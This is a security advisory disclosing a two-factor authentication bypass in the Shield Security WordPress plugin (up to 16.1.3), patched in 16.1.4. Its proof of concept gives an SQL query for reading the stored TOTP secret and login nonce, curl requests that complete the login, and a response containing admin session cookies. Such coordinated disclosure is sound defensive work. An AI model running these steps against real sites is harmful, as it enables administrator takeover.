Affected plugin | Shield Security |
Active installs | 60,000+ |
Vulnerable version | <= 16.1.3 |
Audited version | 16.1..1 |
Fully patched version | 16.1.4 |
Recommended remediation | Immediately upgrade to version 16.1.4 or higher |
Description
An attacker can log in as any user with two-factor authentication enabled without knowing the user’s primary credentials.
The only precondition is that any plugin, theme, or WordPress Core has one of the seemingly never-ending read-only SQLi vulnerabilities.
Proof of concept
This attack is possible through several security neglects.
Once a legitimate user tries to log in with his primary credentials, the plugin will intercept the request and redirect the user to the 2FA form.
Since this process involves two separate HTTP requests, the plugin needs some way of persisting the user ID that should be logged in after the 2FA validation succeeds.
This is done in the LoginRequestCapture::captureLogin method.
The plugin will (insecurely) generate a random login nonce that will be stored as plaintext in the “wp_usermeta” table for the legitimate user.
$randStart = rand( 0, 10 );
$loginNonce = substr( hash( 'sha256', uniqid( '', true ) ), $randStart, 10 );
PHP’s “uniqid” function is not suitable for any cryptographic use.
The following warning is displayed prominently in the PHP manual:
Caution
This function does not generate cryptographically secure values, and should not be used for cryptographic purposes. If you need a cryptographically secure value, consider using random_int(), random_bytes(), or openssl_random_pseudo_bytes() instead.
Furthermore, hashing the “random” nonce before insertion in the database does nothing for security since the user will receive the same hash as a hidden input field, meaning plaintext strings at validation.
An attacker can abuse this mechanism by tricking the plugin into logging him without having provided the target user’s primary credentials first.
Since our threat model only assumes a read-only SQLi, the attacker must wait for a legitimate user to initiate his login flow using his primary credentials.
curl -s -o /dev/null -D - -X POST https://site.test/wp-login.php \
-d "log=admin" \
-d "pwd=admin"
*Simulate a legit user login.
This can be automated by temporarily polling the database for inserts in the “wp_usermeta” table with the key “icwp-wpsf-meta”.
SELECT meta_value FROM wp_usermeta
WHERE meta_key = 'icwp-wpsf-meta'
AND user_id = TARGET_USER_ID
The above query will return a serialized PHP array. If the serialized array contains a “login_intents” key, the attacker will have a 10-15 seconds window to pull off the attack before the user enters his TOTP from his authenticator APP.
This is more than enough time.
The serialized record will look something like this (displayed as JSON for readability):
{
"prefix": "icwp-wpsf",
"user_id": 1,
"pass_hash": "266b",
"tours": {
"dashboard_v1": 1662922763,
"navigation_v1": 1662923128
},
"ga_secret": "TJD7I4OXNQNPU3RD",
"ga_validated": true,
"login_intents": {
"160ede8d07": {
"start": 1662982530,
"attempts": 0
}
},
"flash_msg": null
}
The attacker needs the following information:
- ga_secret: TJD7I4OXNQNPU3RD
- The first index of login_intents: 160ede8d07
Knowing the plaintext TOTP secret the attacker can now always generate valid six-digit one-time-passwords using a TOTP library in any programming language.
At the time of writing this POC, a valid code is: 651845
The attacker can now log in by submitting the following curl request:
curl -s -o /dev/null -D - -X POST "https://site.test/wp-login.php?shield_action=wp_login_2fa_verify" \
-d "wp_user_id=1" \
-d "login_nonce=160ede8d07" \
-d "icwp_wpsf_ga_otp=651845"
HTTP/2 302
server: nginx/1.23.1
date: Mon, 12 Sep 2022 12:05:10 GMT
content-type: text/html; charset=UTF-8
x-powered-by: PHP/7.4.30
set-cookie: shield-notbot-nonce=4d92563203; expires=Mon, 12-Sep-2022 12:05:25 GMT; Max-Age=15; path=/; secure
set-cookie: wordpress_sec_e0d4ad442b35aa1a0068d97928663415=admin%7C1663157110%7CM2tbOciuht323zC1mhHf3RPsyoPAmLE4f2KGxfsb0r6%7Cc782bcfc0051f478a2c3ca16af6bd8e0a0455464dcd88778b73e591ac33b8459; path=/wp-content/plugins; secure; HttpOnly
set-cookie: wordpress_sec_e0d4ad442b35aa1a0068d97928663415=admin%7C1663157110%7CM2tbOciuht323zC1mhHf3RPsyoPAmLE4f2KGxfsb0r6%7Cc782bcfc0051f478a2c3ca16af6bd8e0a0455464dcd88778b73e591ac33b8459; path=/wp-admin; secure; HttpOnly
set-cookie: wordpress_logged_in_e0d4ad442b35aa1a0068d97928663415=admin%7C1663157110%7CM2tbOciuht323zC1mhHf3RPsyoPAmLE4f2KGxfsb0r6%7C9fce5f4be9e39c4f26abb376a3b51b5f0391d3b87cff082f0e6a5e2633db6c09; path=/; secure; HttpOnly
cache-control: no-store, no-cache
x-redirect-by: WordPress
location: /wp-login.php
The site is now wholly compromised as the HTTP response contains valid WordPress authentication cookies.
set-cookie: wordpress_sec_e0d4ad442b35aa1a0068d97928663415=admin%7C1663157110%7CM2tbOciuht323zC1mhHf3RPsyoPAmLE4f2KGxfsb0r6%7Cc782bcfc0051f478a2c3ca16af6bd8e0a0455464dcd88778b73e591ac33b8459; path=/wp-admin; secure; HttpOnly
The auth-cookie is valid for user ID 1 (admin) as indicated by the “admin%7” prefix of the cookie value.
Timeline
Vendor contacted | September 12, 2022 |
First Response | September 12, 2022 |
Fully patched at | September 13, 2022 |
Publicly disclosed | April 24, 2023 |
Miscellaneous
- The vendor was very cooperative and implemented our proposed patch in one business day.
Leave a Reply